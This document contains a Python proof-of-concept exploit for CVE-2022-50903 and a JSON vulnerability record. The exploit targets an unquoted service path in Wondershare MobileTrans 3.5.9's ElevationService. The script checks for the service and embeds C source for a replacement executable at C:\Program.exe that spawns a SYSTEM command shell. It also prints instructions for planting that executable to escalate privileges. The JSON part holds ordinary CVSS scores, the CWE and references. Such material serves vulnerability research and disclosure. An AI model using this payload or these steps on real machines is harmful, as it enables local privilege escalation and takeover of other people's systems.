CVE-2022-50903

# CVE-2022-50903 PoC - Unquoted Service Path Exploitation # This PoC demonstrates the unquoted service path vulnerability in Wondershare MobileTrans ElevationService # Author: Security Researcher # Target: Wondershare MobileTrans 3.5.9 import os import sys import subprocess import shutil def check_vulnerability(): """Check if the vulnerable service exists""" try: result = subprocess.run( ['sc', 'qc', 'ElevationService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] ElevationService found") print("[*] Extracting service path...") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[*] {line.strip()}") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Generate malicious executable for privilege escalation""" malicious_path = r'C:\Program.exe' # Create a simple malicious executable (reverse shell or command execution) malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Log successful exploitation FILE *log = fopen("C:\\\\Windows\\\\Temp\\\\exploit_log.txt", "a"); if (log) { fprintf(log, "[+] Exploitation successful at %s\n", __TIME__); fclose(log); } // Execute commands with SYSTEM privileges system("cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\priv_esc.txt"); // Spawn a SYSTEM shell system("cmd.exe"); return 0; } ''' # In real attack, compile and place the malicious executable print(f"[!] In production, compile malicious code and place at: {malicious_path}") print("[!] When ElevationService starts, it will execute C:\\Program.exe instead of full path") return True def main(): print("=" * 60) print("CVE-2022-50903 - Wondershare MobileTrans Unquoted Service Path") print("=" * 60) if not check_vulnerability(): print("[-] Target service not found or not vulnerable") return print("[*] Creating exploitation payload...") create_malicious_executable() print("\n[!] Attack simulation complete") print("[*] To exploit: Place malicious executable at unquoted path location") print("[*] Service restart will trigger execution with SYSTEM privileges") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2022-50903", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:52.727", "lastModified": "2026-01-28T19:53:30.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wondershare MobileTrans 3.5.9 contains an unquoted service path vulnerability in the ElevationService that allows local users to potentially execute code with elevated system privileges. Attackers can exploit the unquoted path by placing malicious executables in specific filesystem locations that will be executed with LocalSystem permissions during service startup."}, {"lang": "es", "value": "Wondershare MobileTrans 3.5.9 contiene una vulnerabilidad de ruta de servicio sin comillas en el ElevationService que permite a usuarios locales ejecutar potencialmente código con privilegios de sistema elevados. Los atacantes pueden explotar la ruta sin comillas colocando ejecutables maliciosos en ubicaciones específicas del sistema de archivos que se ejecutarán con permisos de LocalSystem durante el inicio del servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wondershare:mobiletrans:3.5.9:*:*:*:*:*:*:*", "matchCriteriaId": "E85DD9F5-ADF8-413F-AED2-D59399EAF3E1"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50756", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/wondershare-mobiletrans-elevationservice-unquoted-service-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.wondershare.com/", "source": "[email protected]", "tags": ["Product"]}]}}